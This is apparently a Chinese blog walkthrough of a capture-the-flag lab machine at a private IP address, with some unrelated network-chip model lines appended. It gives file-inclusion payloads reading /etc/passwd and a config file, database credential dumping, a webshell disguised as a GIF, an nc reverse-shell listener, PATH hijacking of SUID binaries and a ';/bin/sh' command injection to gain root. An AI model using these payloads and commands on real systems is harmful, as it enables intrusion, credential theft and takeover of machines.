date
Aug 5, 2021 12:02 PM
Related to 日程数据 1 (blog)
tags
slug
summary
icon
category
password
tip:
文件包含
信息收集
  1. ip add namp c段
  1. 开放端口 80 111 3306
  1. 浏览器无内容
  1. dirb扫描
  1. nitko -host http://192.168.1.19
  1. 发现/config.php
  1. 考虑url构造为http://192.168.1.19/?page=upload 可能存在文件包含漏洞
  1. 知识点
    1. 文件包含漏洞特征: ?page=a.php ?home=b.html ?file=content 检测方法: ?file=../../../../etc/passwd ?page=file:///etc/passwd ?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt
      php://filter参数详解:
      该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下: resource= 必须项。它指定了你要筛选过滤的数据流。 **可用的过滤器列表:** convert.base64 convert.base64-encode & convert.base64-decode分别等同于base64_encode()和base64_decode(),base64编码解码 下面我们来实验用php://filter来读写文件。
      测试代码:
      <?php     $file1 = $_GET['file1'];     $file2 = $_GET['file2'];     $txt = $_GET['txt'];// 写入的内容echo file_get_contents($file1);    // 或者是include($file1);     file_put_contents($file2,$txt);?>

      读取文件

      test.php?file1=php://filter/resource=/etc/passwd test.php?file1=php://filter/read=convert.base64-encode/resource=flag.php    // 专用于读取php文件
  1. curl http://192.168.1.19/?page=php://filter/convert.base64-encode/resource=config |base64 -d
  1. 获取到一串码 base64 解码获得 数据库的用户密码信息
  1. 登录查表
    1. mysql -h 192.168.1.19 -u root -p show databases; use Users; show tables; use users; select * from Users.users;
      mysql命令
  1. 获取网页用户密码信息 mysql的information_schema也是很重要的表
getshell
  1. php木马改名gif 上传 使用burp suite 的repeater 文件头加 GIF89A
  1. 无法运行远程木马
  1. 查看index的源码curl http://192.168.1.19/?page=php://filter/convert.base64-encode/resource=config |base64 -d 发现cookie 可以提供lang
  1. 修改cookie 添加路径lang=../xxxxxxxxxxxxx.gif
  1. 监听反弹shell nc -lvp 1234 send repeater后的cookie网页
  1. 获得shell su用户提示需要终端,利用python 启用远程终端
    1. python -c 'import pty;pty.spawn("/bin/bash")'
提权
  1. 找suid文件find / -perm -u=s 2>/dev/null
  1. 发现msgmike执行发现调用cat
  1. 修改$PATH export PATH=.:$PATH echo "/bin/bash" >cat chmod +x cat
  1. 重新执行msgmike来调用cat中的bash命令实现提取到mike
  1. ls -l * 发现mike 有msg2root也有suid权限 file
  1. 执行msg2root发现 执行什么就显示什么类似echo 尝试拼接hello;/bin/sh
  1. 获取root的bash
  1. 在root的根目录中找到flag.txt
总结
靶机 => 主机端口探测 => web渗透 => 文件包含 => 得到数据库账号密码 => 在数据库中查到登录账号密码 => 查看源码 => 文件上传木马 => 通过Cookie文件包含 => 反弹shell => 切换账户 => 利用环境变量提权 => 找到flag
 
 
Network Interface Controllers > 2.5G Gigabit Ethernet > USB 3.0
RTL8156 / RTL8156B
 
Network Interface Controllers > 10/100/1000M Gigabit Ethernet > USB 3.0
RTL8153 / RTL8153B
writeup:mr.robotswriteup:webxss